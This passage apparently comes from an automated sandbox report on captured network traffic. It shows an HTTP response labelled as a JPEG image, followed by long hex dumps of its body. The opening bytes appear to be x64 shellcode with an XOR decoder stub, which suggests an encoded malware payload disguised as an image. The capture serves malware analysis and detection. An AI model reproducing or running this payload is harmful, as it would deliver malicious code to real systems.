Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:09 UTC 0 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:09 GMT
Server: nginx
Content-Type: image/jpeg
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 261711

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2022-02-08 23:07:09 UTC 0 IN Data Raw: fc 48 83 e4 f0 eb 33 5d 8b 45 00 48 83 c5 04 8b 4d 00 31 c1 48 83 c5 04 55 8b 55 00 31 c2 89 55 00 31 d0 48 
83 c5 04 83 e9 04 31 d2 39 d1 74 02 eb e7 58 fc 48 83 e4 f0 ff d0 e8 c8 ff ff ff 47 e4 13 09 4f 1a 10 09 d7 74 83 99 47 e4 
13 d4 1d a5 41 81 55 2c a4 c9 d4 c0 84 c9 d4 c0 cc 44 c9 2a 33 bb 36 62 ba 64 7e e3 79 ec 21 e2 79 13 f2 a3 c1 e3 47 
01 97 8b 43 01 97 8b 19 49 1e 72 e6 99 1e 72 e6 99 1e 72 e6 99 1e 82 e6 99 1e 05 0d 51 6c 98 da 42 f9 05 9d 9a 44 7d 
95 d3 a8 42 da 17 81 ae 48 4e 4e 29 63 2a 4f c5 0d c4 ce e3 3b c5 c0 a0 49 6f 48 ff 40 b1 48 43 23 37 d5 fa 22 0f df 55 
5e af 8f 1c 15 fd 79 ba c5 6e d4 0c ef 51 45 32 63 3b 18 41 31 5e 81 2f 06 04 c4 94 c8 fb 3c 42 3c a6 f4 14 cb 0f 9c d9 ad 
90 d8 f4 59 e2 01 b6 1d 19 d9 8d 57 b0 90 24 5d 2f 73 7f 
Data Ascii: H3]EHM1HUU1U1H19tXHGOtGAU,D*36bd~y!yGCIrrrQlBD}BHNN)c*O;IoH@HC#7"U^ynQE2c;A1^/
<B<YW$]/s

2022-02-08 23:07:09 UTC 2 IN Data Raw: b5 ff 8c 90 37 6b 07 d0 18 88 8c 70 32 0e c4 62 bc 46 df 2a b2 cd 97 1b 99 2b 79 d8 5a db 61 9e 59 6d fa 15 
11 d2 1d be 96 9a 9a 59 35 15 d2 6f bb bf e7 1c 78 7c 24 93 36 82 87 76 f1 41 08 38 bd 0a cb fb 7e 88 83 ea f4 c0 8b 6a 
c8 57 76 89 8e 54 c0 6d 0e 1c 47 90 d9 56 ab da 5d 91 ed d9 e0 45 66 97 6c 8e ed 7f 58 c7 6a b2 63 fb 6a f9 a1 70 56 fb 
59 ec 91 44 6a 1c 92 cf 22 83 75 4c a9 cb da ab 22 40 92 1c c5 d3 19 5c c2 30 9b c0 40 ad 07 c0 4f a2 8c 88 48 29 c6 13 
83 a2 8c b8 50 29 c6 0b 8b a2 8c b0 68 20 1b 32 fd a2 8f b9 bd 8d 7c 32 f5 a7 fe 7a 3f 2d b6 60 bd 65 85 eb f5 5c ae 53 
1a 9f 6d 15 19 53 2b 3e da 90 e8 bc 92 1a 2f f2 10 26 6f c9 ac ea 2b d9 6f 29 e8 29 7e ab a0 2a 4a 99 27 62 49 df 36 ae 
0f dd f5 6d cc e8 f7 ad 00 ae 8c 6e c3 6d 06 ce 01 e2 48 
Data Ascii: 7kp2bF*+yZaYmY5ox|$6vA8~jWvTmGV]EflXjcjpVYDj"uL"@\0@OH)P)h 2|2z?-`e\SmS+>/&o+o))~*J'bI6mnmH

2022-02-08 23:07:09 UTC 4 IN Data Raw: b3 b8 43 65 f5 b3 80 a6 36 34 c8 d1 d1 27 0b 12 12 67 33 d3 a4 b4 b1 9b a9 9f 3e 7d 6a 5c 78 7e a6 1a 10 bd 
65 d9 9f f5 1a 3e bc 36 d9 fd 36 7e 55 26 0a a8 e8 8d cd 6b 62 c5 41 b0 28 42 a6 23 14 94 fd 88 d3 57 b5 44 2b 55 00 8e 
61 91 7b 4b a2 52 b8 63 1d d5 f0 ec fa 46 ba a3 1d 5d 79 60 de d6 37 27 39 cd f4 e4 fa 47 bc ea 78 0f ab aa 40 ce 1d 12 
cf 86 5a f5 bc 45 99 36 37 0f 1e d1 bc 84 56 96 5b 87 95 55 98 0c df e2 7f 8f 58 a8 c8 68 a3 e2 67 8f 50 69 2d 08 b7 82 
aa 42 38 65 49 c5 70 2a ae be b3 e9 6d 95 dc 03 ae 56 9a 00 18 8a d2 57 ff 91 11 94 3c 1e 59 98 b3 56 5c 13 fb 5b d3 59 
44 bc 38 bb c3 5b db 87 15 65 70 40 d6 ea 3e df 31 49 b4 97 a9 ba 3e df 01 41 b4 97 b1 c2 3e df 91 40 a2 5d 0c c2 3c df 
93 5e 3c 54 d9 d9 db af 52 91 9c 48 51 52 5f 8b da 18 e8 
Data Ascii: Ce64'g3>}j\x~e>66~U&kbA(B#WD+Ua{KRcF]y`7'9Gx@ZE67V[UXhgPi-B8eIp*mVW<YV\[YD8[ep@>1I>A>@]
<^<TRHQR_

2022-02-08 23:07:09 UTC 6 IN Data Raw: d4 5d b6 84 c6 5f bd 4a 41 9f bc cd b1 84 f4 cd b3 8f 35 4b 73 b4 7d 5e f4 44 66 dc 04 51 e4 94 0d 99 ec 16 ed 
8d 6e 5e ec 6d 6e dc 0c 67 9e c9 c4 6c 1c 81 c0 eb dc 9b c2 e0 14 19 8a ec 92 d9 91 ee 98 03 16 a0 dc 31 c4 92 46 c1 cf 
10 0e c5 4d 58 36 c7 46 9d c6 cc c4 d5 c6 ce c8 00 06 41 2f 97 c6 53 2d 9c 08 d1 65 94 f8 ea ad 9c 7f 2a ac 1e 9f 23 2a 
de 94 a1 62 de 16 e9 77 5c e6 fd f5 bc f4 ff fe 7d 04 c4 7c 8d 11 46 34 8d f1 46 fc 86 73 0e fe 46 49 8c b6 4c cb 4c 8d cb 
85 09 ea 8a 79 58 e8 81 b1 10 dc 83 bb ca 2c 88 39 82 2e 8a 34 57 2c 81 f1 a7 27 c9 f5 67 a8 2e 6e a7 ba ac 26 af 72 a0 
24 a4 bc 27 e4 a5 4c 14 04 ad ca d4 17 e5 ce d6 1c 24 3e e5 9e 6c 3e 05 9a a4 35 87 d2 a5 f5 b5 50 ed fc 37 90 de fe 3d 
4a dc f5 f5 ba d7 77 bd ae 51 39 f8 b8 cc e6 90 3a 
Data Ascii: ]_JA5Ks}^DfQn^mngl1FMX6FA/S-e*#*bw\}|F4FsFILLyX,9.4W,'g.n&r$'L$>l>5P7=JwQ9:

2022-02-08 23:07:09 UTC 8 IN Data Raw: 73 e1 48 30 78 24 b8 3b fa 6c ba fb 74 07 7a e9 f6 4f 76 6e 36 4e 74 65 f8 c9 84 76 7a 81 86 74 71 40 01 84 
62 c2 c9 8e e0 02 fa 0c a8 12 78 ec a5 e2 6c 6e ed e6 ee 8e ef 06 fb 46 e4 84 0b 56 ac 81 8c 96 be 83 87 5e f6 8e 01 9e 
e5 8c 0b 44 62 c2 4b 40 de 58 37 b0 d5 10 32 32 9d 09 30 39 58 f9 3b bb 10 f8 39 b3 c5 38 b7 dc 05 2a b5 d7 cb a8 fd dd 
3b b3 7f 15 32 34 bf 14 b0 d4 b3 92 70 e7 31 da 71 af 25 2a 64 2d c5 3f 66 26 04 cf 7d d6 10 4d 35 d4 92 ad 34 1c 99 2f 
7c 19 59 35 fe 51 54 b7 3e 4a d2 f9 7e 7a 1a da 7b 78 11 12 fc 30 09 10 f6 ea f9 1b 74 a2 fc 99 76 aa 29 9b 7d 6f d9 90 
35 6f 19 1e 46 af 0b 9c 0e a6 c3 94 0c ad 0d 13 cc ac 8a e3 d7 2e 6a e9 51 ee 51 a1 51 ec 5a 60 d6 1c 41 e2 9e 1d a1 e2 
56 16 23 aa 52 91 e3 b0 50 9a 2b 32 18 96 ad f2 03 94 a7 
Data Ascii: sH0x$;ltzOvn6Ntevztq@bxlnFV^DbK@X72209X;98*;24p1q%*d-?f&}M54/|Y5QT>J~z{x0tv)}o5oF.jQQQZ`
AV#RP+2

2022-02-08 23:07:09 UTC 10 IN Data Raw: dc 81 de 39 2c 8a 5c 71 29 4a d2 b2 e9 58 9a bf 6b 90 97 bd 60 5e 10 7d 61 d9 e0 46 e3 91 e5 44 e8 50 62 b4 
d3 b0 6e fc d6 32 8e f9 50 f2 95 7b 18 e3 5d 70 e8 f3 df 38 e8 74 1f 02 ea 7f d7 80 0a 6f 55 70 1b e9 95 4b 9d a7 d7 80 32 
53 0a 02 7a 5b 8c 4a 76 59 86 90 86 52 04 d8 86 d0 06 d2 53 d2 0d 17 a3 d9 8f 5f a7 19 01 98 67 0b 83 d0 6a 89 4b dc 
68 82 85 5b a8 83 02 ab a3 63 0f 29 63 58 8d 61 67 da c5 71 65 d1 04 81 75 56 f4 8a 95 42 76 c2 90 c0 96 c6 60 d0 5e cd 
28 d4 d9 0d 22 9c d5 0f 29 54 53 cf 22 d2 1d 8e ad 66 96 6a af 6c 4c 9a a4 24 48 1c ec 36 4a 17 29 c6 41 95 61 c4 c3 97 
68 11 03 19 a3 d1 11 1b a8 1f 93 53 a4 98 63 40 26 50 69 c7 e6 51 eb 27 eb d3 2b 14 69 9b 29 96 21 8b 2b 9d e0 0c db 
8e 62 44 df 0c 82 46 17 07 ca 43 90 c7 d8 41 9b 0f 90 4c 1d 
Data Ascii: 9,\q)JXk`^}aFDPbn2P{]p8toUpK2Sz[JvYRS_gjKh[c)cXagqeuVBv`^(")TS"fjlL$H6J)AahSc@&PiQ'+i)!+bDFCAL

2022-02-08 23:07:09 UTC 12 IN Data Raw: 4c b4 69 bc c7 5c 51 c5 0c 9f 92 06 45 1d 50 4d c2 d1 65 04 00 5a 2b 8e c7 11 ac 42 f7 58 2e 7a bc df e2 4d f5 
5d db 06 72 91 ed 8d 4e 98 5b 92 be 9b d0 da 21 7c 23 51 61 7b c0 cd 61 74 4b 87 fe 93 80 0c b4 24 67 df 20 af 25 f0 23 
6c e6 33 a8 24 20 47 fe e4 e3 cc 0e e3 68 86 49 04 1b 45 8a c7 90 0b 7c b1 13 cb bf 41 0b 40 f7 7c 80 0e 78 9b 63 25 71 
a5 5f 19 fa ed 93 32 17 dc 51 f1 9c 94 85 7a d2 1b 62 99 5d 53 61 b2 68 6d 5d 8e e3 23 0a 69 b0 e0 c9 aa 3b ae 46 4d d8 
85 31 70 e4 b9 ba d0 e4 3b c1 33 27 f8 02 b8 69 37 44 7a aa f4 87 f1 6a ff 0c bf bd f2 87 f1 f2 15 d4 32 31 d6 ff 36 e9 17 
3c 70 ea a1 f2 4c ea 2a b2 48 01 6a 8a 89 be 31 a2 4f c5 f7 61 8c 06 7c 29 c3 e1 0f ea 00 22 84 1a 0f 09 86 42 cd ca 09 
0c 92 2d 0a cf 51 ee 80 87 c9 3d 0a cf 79 e6 80 87 
Data Ascii: Li\QEPMeZ+BX.zM]rN[!|#Qa{atK$g %#l3$ GhIE|A@|xc%q_2Qzb]Sahm]#i;FM1p;3'i7Dzj216<pL*Hj1Oa|)"B-
Q=y

2022-02-08 23:07:09 UTC 14 IN Data Raw: 01 fe 07 a6 8e 19 e4 ee 80 9e ac ea ab a4 bb d6 97 ec 80 90 94 20 c6 d9 57 e3 05 58 1f 64 e5 8b 98 9c de 3b 
6d 16 96 37 ef fe 92 bc 2f b3 b9 7f ec 70 91 9c 63 38 95 17 2b 33 be 4b b5 f1 7d ca fd 76 9d 19 05 4d 2d c9 8e 05 60 e2 
4d c6 a3 0a 49 4d 63 06 01 5e 48 0a 3e 62 74 8c ce 61 f1 76 49 81 22 c3 96 0a 6a 86 bd c9 a9 45 3c 80 66 86 7f b2 93 06 
34 7d 60 84 08 7e e5 7c 8f 9e 36 cd a8 15 7e c0 29 29 e9 20 b2 61 d2 66 b1 d7 07 e3 f9 50 e7 30 73 18 f2 bb 3b 15 73 87 
ac f5 d0 cf 97 b3 d3 78 58 38 9b 35 73 fb 58 f6 58 e5 c8 34 9b 6f 80 39 b0 79 10 fb 73 31 14 74 3d ae f3 f7 b7 e6 6b 04 3d 
ae c3 ff b7 e6 73 7c 3d ae 53 fe a1 2c ce 7c 3f ae 51 e0 3f a1 11 da e3 15 c9 51 43 17 42 1f 8c 54 c9 51 4a 26 11 96 89 
ad d1 9c 02 ed 2e 97 c1 5a ee 67 c2 5a 95 a8 01 99 56 
Data Ascii:  WXd;m7/pc8+3K}vM-`MIMc^H>btavI"jE<f4}`~|6~)) afP0s;sxX85sXX4o9ys1t=k=s|=S,|?Q?QCBTQJ&.ZgZV

2022-02-08 23:07:09 UTC 16 IN Data Raw: ca 19 67 77 da 93 a7 7d 55 dd 29 62 1f 43 da 49 d2 9e 19 8a 94 9d d5 cc 76 a1 e9 f0 fd e9 6f db b5 67 70 54 
fd e1 8b df b3 77 78 5e f9 f8 bb 8d d2 c2 77 4e 11 e8 a5 8f d2 2b ed 82 5d 63 e9 ca 4d e9 29 c0 07 77 da eb 96 ba 19 28 
d0 b9 d5 6e fa 84 e9 52 b2 48 62 1c 24 bb 49 38 f6 78 8a 12 d2 ba 49 d1 9a b7 c6 99 9e ff d6 13 5e f5 9c 8d ad de 1b 44 
6e 1d 5d 47 a2 5b 21 7a 9e 67 aa 34 08 94 21 7c 04 bf 66 b3 c7 7c 4c cc 05 bf 8f 84 08 30 c7 80 40 20 4d 40 4a 6a d3 b3 
61 64 1f 70 a2 22 1c bc e4 e1 dd 7f 27 6a 93 f1 d4 41 00 3e 17 82 46 3d db c4 6a ff 18 07 40 a8 da c4 83 e0 d7 4b cb e4 
9f 5b 41 24 95 d4 0f aa 8a 9e 91 59 a1 30 4e 9a 62 76 4d 56 24 d5 70 6a 18 5e 38 ec 33 d1 70 6a c8 99 e6 75 49 d3 71 
b6 9a 5c 3f 30 69 d7 77 3c 42 bd a6 ff 81 97 28 3d 42 54 60 
Data Ascii: gw}U)bCIvogpTwx^wN+]cM)w(nRHb$I8xI^Dn]G[!zg4!|f|L0@ M@Jjadp"'jA>F=j@K[A$Y0NbvMV$pj^83pjuIq\?
0iw<B(=BT`

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:09 UTC 18 IN Data Raw: 1d ee 2e 82 53 5d ec ca 46 61 3a f6 b5 a6 f9 be ae e0 fa 72 e8 ad 39 b1 2b 22 71 37 30 a9 39 b9 1b e1 2c 85 
cd c7 df 42 0e 8f c4 04 0d 39 7f 8b 45 b5 84 00 0d 23 97 8a 45 ee 11 7a 46 d2 c7 52 b5 15 04 1a ae 53 07 ac 33 dc 4f 20 
b0 57 07 b6 ab dd 4f 7b 2d 2d 4c 47 fb 3f bf 80 38 77 a4 c6 3b c1 23 49 73 45 d0 c2 3b d3 f3 49 73 5d d8 75 a5 6f 2b b2 
66 27 30 f4 65 91 df 7e 2d 07 1c f5 65 89 3f c9 b3 bf d3 0e 70 f7 c8 48 73 41 13 c3 3b d5 f8 48 73 5b d3 74 a5 79 3f b3 66 
31 24 f5 65 87 e3 bf 91 af 1f 34 d1 08 f8 b7 12 83 b0 33 f9 0c f8 bf 7a 83 b0 3b a1 08 f8 af 6a 83 b0 23 b9 08 fa a4 5e f3 
71 ec da 10 fa a6 5d f7 09 2d 15 73 fa a6 5f f4 1d 4d d4 bc 99 b6 5f f6 1e 51 bc dd 65 66 80 e1 ee 2e 06 ca 65 6e a1 2d 
8e ad 2e 65 00 8e a1 2d 86 9d 2a 65 10 86 a1 2d 9e 
Data Ascii: .S]Fa:r9+"q709,B9E#EzFRS3O WO{--LG?8w;#IsE;Is]uo+f'0e~-e?pHsA;Hs[ty?f1$e43z;j#^q]-s_M_Qef.en-.e-*e-

2022-02-08 23:07:09 UTC 20 IN Data Raw: 06 89 9a c8 82 a3 2b f4 be 9f a9 8e 7b 5c 6a 4d fd 16 af cf b5 14 24 87 2a f3 f7 0c 62 44 10 d7 e9 0c af 30 0a 
83 e7 87 ed 68 65 1b ed 67 50 19 29 1c 93 da ea df 5f 8c e9 dd 75 4c d5 df b5 4e 2b 9c 76 8d e8 2c b0 cd eb ed 98 18 15 
2e 5a db d6 9e 9c 9b d5 5e b4 52 2b 9d 77 90 e8 2d bc d0 eb ea f6 11 1b e9 f6 6a c8 2a 35 a9 c8 25 75 90 08 93 95 e1 ca 
68 47 57 14 93 d5 95 a2 48 9c 17 63 89 9d 7c 5e 3f 51 8c 5d 7c eb 4d 61 b0 bc 4e e3 fa 7f be e0 fa 04 6d 23 39 c7 6d 2c 
36 4c 27 b3 d1 87 a8 f9 56 60 73 b3 c1 87 a0 25 54 13 2b 6d 7b 98 6b 42 98 68 73 b2 ad 2e 62 7e ea 83 a0 bd 29 08 ee 
07 e2 40 62 3c 65 08 f6 f7 ea 40 3a b1 e0 8c 7d 68 22 4f be 28 18 8b 72 64 52 48 b1 a7 e5 fd 8d ad 52 5a b1 a7 e5 d6 8d 
ad 52 2f b1 a7 e5 c9 8d ad 52 1a b1 a7 9e 5c 7a 65 5d 9f 
Data Ascii: +{\jM$*bD0hegP)_uLN+v,.Z^R+w-j*5%uhGWHc|^?Q]|MaNm#9m,6L'V`s%T+m{kBhs.b~)@b<e@:}h"O(rdRHR
ZR/R\ze]

2022-02-08 23:07:09 UTC 22 IN Data Raw: 6d 0e bc 44 ae 4e 86 88 62 02 5e 4a a1 c1 16 9e 27 89 1a 10 6f 8c 90 58 60 88 17 bf 83 4a d4 7c 40 61 af 5a 
7c 5d e9 59 b0 1b 87 9a 73 d8 08 d4 f5 23 8a 9c e1 a9 c2 91 ca 0b f9 ad f6 21 71 91 ca 1d 39 55 41 53 af ae cf 1b aa 24 
87 14 e0 a2 7c 3f 6f 60 bf fc 45 91 83 c0 79 d9 57 4f 37 57 74 c1 7f 52 fe 89 70 79 bf bc 4c 45 f9 bf fa ed 7e f7 44 ce f1 b9 
c2 35 7b f1 cf b7 33 e5 e4 43 0a d9 d8 6b 9b 91 0c e4 d5 1f 2f 6a 9d 1a a5 22 92 31 f6 1a ae 0d b0 19 18 8f 37 51 a6 ac 
b8 1f 20 57 32 57 2d d5 7a 43 06 ab 45 7f 3a 83 ae 37 ee 0c e0 b9 cd 82 a8 bc 47 ca a7 97 06 0d 64 54 40 0e d2 80 c7 
46 6c a3 48 08 ea 58 c2 40 e7 da 8a 54 cc d2 b3 68 f0 94 b0 df 0d 1f f8 59 3e 94 c4 df 15 a8 c1 54 55 ab 3a df 1f 2d 09 5d 
e7 1b c5 1c 7f 25 f9 20 04 e1 3a e3 c7 6e 74 7c 20 
Data Ascii: mDNb^J'oX`J|@aZ|]Ys#!q9UAS$|?o`EyWO7WtRpyLE~D5{3Ck/j"17Q W2W-zCE:7GdT@FlHX@ThY>TU:-]% 
:nt| 

2022-02-08 23:07:09 UTC 24 IN Data Raw: 94 05 47 9b bc dc 0f a8 94 1a 72 62 57 d9 b1 e9 1f d5 9a 5d f0 17 59 15 f5 3f 9f 6e 21 fc 5c ad aa b4 c3 4a 39 
3f 8b e5 de 9c 00 ad 69 7b ab 26 29 7c 48 a4 b5 fe d5 26 2b 7c 4a ba 2b 73 0a 00 f4 b0 bc cd b4 0a 5f 0e 02 c1 5b cf ce 
02 98 0c e6 c7 9c cd 36 04 5f 0e c6 07 5f 01 c9 08 d4 4b 56 ef 1f c0 1c 58 f8 13 88 d3 b8 3c 6b 9b 02 f7 23 2a c9 79 6b 39 
46 31 72 b2 0e 2b 8a 8f b8 e3 08 c5 03 28 23 83 d8 eb e0 ab 33 c0 09 70 f0 03 87 38 f1 43 bc 04 47 8c 3e 4e f6 47 b5 06 
e6 cd fd 0e ce 04 7f 44 77 cf f5 0c 67 44 bd 04 4c e4 67 c7 8f 6f 2f 58 68 9c a4 10 df 7b 5f 9b 9f 7c bc 07 9f 73 b3 08 14 
39 2c ef df b2 66 58 38 61 f2 d3 78 4e 71 58 30 54 fa 16 bf b3 19 9c f7 88 92 d4 c6 a3 4f 11 05 60 09 12 b3 92 82 5c 24 75 
61 d7 6c 7d 4a 91 aa be 89 1a e4 31 6e f9 ac 
Data Ascii: GrbW]Y?n!\J9?i{&)|H&+|J+s_[6__KVX<k#*yk9F1r+(#3p8CG>NGDwgDLgo/Xh{_|s9,fX8axNqX0TO`\$ual}J1n

2022-02-08 23:07:09 UTC 26 IN Data Raw: 13 c0 0e 00 2f fc 32 cc a9 ba 31 71 38 3c 79 71 70 fd fb 39 bd 7f c7 3d 33 31 72 fa b9 fd 1e f1 32 3d 15 73 7a 
3f 9e b3 71 b0 d6 b9 33 92 ea 85 0f 5e a0 4c 84 1e a1 8b 0e 1c 8b 54 89 e4 77 eb 85 62 31 e1 32 b8 b6 23 fb f0 77 61 1a 
cc 4b 5d d6 ce 60 82 5d 80 f1 45 da c8 fa 03 d9 7e de 84 91 ba 5c b8 90 31 1c bd 57 b7 e4 ae 9b f8 55 92 a7 c4 de da af 
ef 3d 0a 6c 2c 75 de 47 ca 92 1d 84 41 da 09 af b3 09 ca 6c f3 32 f6 db 20 bd be db ab f5 aa 50 e3 fd 81 e9 31 3e 42 c1 f0
ce 41 4a b8 51 a6 c9 33 19 09 2e b8 92 41 99 5f 01 ca d9 58 e2 48 45 da 7f d4 45 d5 f4 9e da 32 3f 15 90 85 d8 c6 1b cf 
67 21 c0 59 e5 b4 42 cd 6e fc 6d 46 2e d3 fe 06 d4 10 70 4e ef 9b 38 57 59 48 b3 1f 50 c2 fb 0c 7b ca 1f cf b8 e0 9d 0d 7b 
23 dd f4 b8 94 f0 7f f0 86 7b 31 7e ad 50 03 98 
Data Ascii: /21q8<yqp9=31r2=sz?q3^LTwb12#waK]`]E~\1WU=l,uGAl2 P1>BAJQ3.A_XHEE2?g!YBnmF.pN8WYHP{{#{1~
P

2022-02-08 23:07:09 UTC 28 IN Data Raw: f4 28 3a 02 c9 1d 06 3e 81 06 40 3d 4d 40 4c fd 8e 83 c7 b3 00 d7 4d fb 15 fc 5a 26 d6 3f 12 3d 90 3c de 7b 
e3 fc 1d b8 68 b2 93 d4 e3 fa 87 ff 9e 27 44 3c d6 3c 02 3f 1a 7a 50 ff d9 b9 18 7b 12 f1 15 31 a4 85 97 cb 21 4e dd 7d 7d 
82 8b 7f 37 0c ab f4 79 82 c7 df ec bd fb e3 6b f3 53 3b ec bb 58 40 bc 5c d2 11 3e 68 f8 93 fe 7a fa aa 39 32 f3 a8 13 ee 
33 ba bb ff ec 3d 53 f6 6a c5 5d 48 90 43 b5 62 1f 0d 33 36 94 43 bd 62 16 0b ab 49 35 c3 68 8a 7d d8 2e 89 b1 9e cb 49 
72 5d 44 07 f4 31 cf 49 7a 5d 4d 01 6c 76 48 c9 af b5 00 d2 e9 b6 cc 94 26 76 0f 57 0e b6 88 1f 23 fe 3e 73 a4 b6 80 27 
2f f8 0e 4b 13 f5 8c 77 1f 73 c4 53 55 c5 68 d4 bd e0 ea 9c aa cb df 73 69 08 97 68 2f 0b 5b 2e 30 ca 98 ed bb 84 0e 81 
30 ca 80 d5 bb 6a 9d 5f 1b 56 16 15 85 72 3d bf b4 
Data Ascii: (:>@=M@LMZ&?=<{h'D<<?zP{1!N}}7ykS;X@\>hz923=Sj]HCb36CbI5h}.Ir]D1Iz]MlvH&vW#>s'/KwsSUhsih
/[.00j_Vr=

2022-02-08 23:07:09 UTC 30 IN Data Raw: ed 0d 1b b9 67 4d 19 86 ed 0d 18 b9 63 43 cf e8 ed 0d 00 ba c5 d2 82 f2 07 d0 a7 2a 89 9e 2d 15 c1 95 3f 3e 
81 b7 fd f6 84 35 b7 37 0a 7b 26 08 42 49 1a 01 f8 6a 91 a1 30 e1 d9 21 e3 6a 97 ee a8 ed 6d 2e 16 20 ea c6 d6 d0 fb 4c 
d4 f3 3a 67 3d 27 f8 a4 75 a3 33 2f 3d ab 79 af f6 80 82 6f 35 43 72 6c be 0b ed 8b 4d 80 a5 3c aa 7b 2e 7c ad 98 b2 7c 
a2 97 39 36 3d 70 f2 bd 77 c7 15 6e e3 4c 55 41 00 bc 4d ca 48 85 c6 82 7a 0e 3e 8b cd c4 15 7f e2 f8 29 39 e1 4e e5 c3 
3d f9 20 39 a0 32 ec 6e a0 78 70 a5 50 7b fb ed cf 9c 08 66 87 2b ef 9d 0c 6b e8 7e 90 6b 6f 36 52 e4 27 3f d9 ac 35 b9 
21 6e 88 7c 5a ac 4b bf 99 ac f5 78 d9 a7 c9 78 5b e9 4a 44 d0 49 41 cf 98 c8 92 44 d6 1f d9 ce 9e 9d 0a 41 d0 52 41 b1 
d3 d4 07 b2 6e 0f 88 5a 67 8d c0 95 b5 77 09 21 bd c6 1b 
Data Ascii: gMcC*-?>57{&BIj0!jm. L:g='u3/=yo5CrlM<{.||96=pwnLUAMHz>)9N= 92nxpP{f+k~ko6R'?5!n|ZKxx[JD
IADARAnZgw!

2022-02-08 23:07:09 UTC 32 IN Data Raw: 9f 71 1a 2d 20 65 32 e8 24 a1 f0 2b e7 62 00 28 6c 2a 9f cf 9f a1 d7 78 78 22 5c 38 7f c1 c0 38 70 ce 4b 78 5f 
25 cc 30 56 0e 2f 0f 6a 32 a4 47 e8 e1 54 56 6a a3 76 6a 56 9f ba ed 1c 54 31 a5 9e 87 cb 76 52 d1 ca 3c 80 5a 8a 3b 6b 
5a 01 73 6c d1 4b e8 a7 5a 01 5b 74 d1 4b e0 af 47 c9 75 2d d3 42 3b 86 a8 c9 79 a9 5b 0b ba 6a d0 4b 1d 8d 5b 88 96 
c3 dc 6f 05 4c 94 56 8e 06 13 b1 0d 8d 5d 37 2e 06 15 05 a5 4c 92 e2 5e c7 dc 64 2d 48 92 ea 6e c3 d8 6d 89 30 53 23 
0f 0b dc 6d 88 ec 77 e6 c2 6b 90 0d 49 25 16 06 c2 6b 80 5d 49 25 0e 8e c2 6f 89 69 21 44 fb 56 1d 78 bd 55 d1 3e 74 93 
12 fd 0f 06 84 6b 99 89 ca ed a2 02 82 e0 96 ef ca d9 94 c3 16 19 ad 44 5e 2d 2b ec 6b f2 a9 a4 7e d9 4f 55 bd 1a 07 4e 
fb 19 cb 08 a8 de 08 cb 23 90 9e b8 a8 d8 93 93 a4 f8 af af 
Data Ascii: q- e2$+b(l*xx"\88pKx_%0V/j2GTVjvjVT1vR<Z;kZslKZ[tKGu-B;y[jK[oLV]7.L^d-Hnm0S#mwkI%k]I%oi!
DVxU>tkD^-+k~OUN#

2022-02-08 23:07:09 UTC 34 IN Data Raw: df e7 d3 90 f4 38 35 ac c8 04 f9 e6 0c 8e b1 63 df c6 7e a3 54 66 7b 2d 1a b1 3c a3 e2 ab 82 5e 65 e3 a0 d4 
2d 66 73 55 65 a9 18 d7 2d 68 92 eb 2b e2 5e 87 24 69 10 50 af eb 58 53 24 2b 4b 1b 25 a0 49 32 fa 46 75 0e c6 8a f2 46 
c7 08 b8 87 4d 48 b9 40 c3 b0 93 ff ca 3f db 58 2d cc 5d 1e 2e 7b bc 9c 66 b2 3e d4 65 39 fe df 2d 3b 75 dd 07 e4 93 e1 
3b d8 5f 66 73 da dd 2c b2 54 93 bd 75 12 99 0b 68 52 9c ca e3 12 98 01 68 52 98 c6 e2 6e 98 4d de 60 54 0b 52 5c 68 
37 d9 12 e7 d0 3a 39 d0 e1 06 05 5b af 89 e2 b8 25 c1 f6 93 35 05 35 50 be 4b ba b7 5d 60 70 99 61 5c 80 9a ee 12 1f 7d 
6d 98 57 e5 9e 12 1f 4d 65 98 57 fd e6 12 1f dd 64 8e 9d 40 e6 10 1f df 7a 10 10 54 32 17 9b 1e a9 dc 10 54 1a 0f 9b 1e 
a1 d4 0d 9c 34 56 99 17 7a fd fb 9c 38 d2 88 5f fb 11 c0 85 
Data Ascii: 85c~Tf{-<^e-fsUe-h+^$iPXS$+K%I2FuFMH@?X-].{f>e9-;u;_fs,TuhRhRnM`TR\h7:9[%55PK]`pa\}mWMeW
d@zT2T4Vz8_

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:09 UTC 36 IN Data Raw: bc 11 5f 39 7f d2 b7 09 f9 22 af 8b e9 01 2d b7 e2 83 11 be 68 23 18 31 26 ec 53 8a c6 6e 1b 48 8e 66 53 5b 
9e 4d 1b 56 1c 5d 3b d4 fc 4e b9 1c fc cc 85 15 7b 84 9c 97 31 46 12 d9 bb 79 a8 c7 31 31 a5 ec a0 19 99 d0 2b 5f a5 67 
e5 d4 eb e8 02 37 60 a0 16 1c 8f 63 d5 df 7f 56 5e 91 f0 b1 bd ba 53 97 81 86 1b 92 0a ce 84 75 99 45 cc da 7e de 47 92 
c9 39 e4 19 81 86 03 b2 0a c6 04 31 88 5b 04 3e 87 54 8f 76 46 db c7 b4 c9 93 4d 7f 46 db df ac cd 91 1d 27 85 10 d6 ac 
cf 92 1d 27 87 13 ce ac cd 91 1d 23 87 50 92 69 0e 9b 1d 23 9f 48 1d 2c 90 47 9e bc 1b 07 b1 5f 90 4f a8 d4 68 46 1f 1e 
43 80 08 22 7f c6 0b 94 ba 86 ab 5f 79 76 a8 d4 39 71 4b 4c 39 7e c0 06 a6 99 0b 92 2d d9 24 71 a6 91 3d 39 74 1a 75 
03 48 1b 8f 93 8f a5 40 18 c7 ad 6b 10 ee 91 57 56 ed 27 e2 
Data Ascii: _9"-h#1&SnHfS[MV];N{1Fy11+_g7`cV^SuE~G91[>TvFMF''#Pi#H,G_OhFC"_yv9qKL9~-$q=9tuH@kWV'

2022-02-08 23:07:09 UTC 49 IN Data Raw: 1c 9e 36 7e b4 19 ce 4e 0a fe 44 ee 0f 75 0a 51 e8 c6 88 b9 f5 4d c6 76 76 c6 88 89 7a 4d c0 85 51 2f de b9 
6d a4 9e bd b6 2f a2 b5 00 03 29 fb 8e 48 02 b7 90 74 3e ff 95 5e fa 38 56 9d 75 76 b8 6b 79 4a 84 43 93 0a bf 81 25 c7 
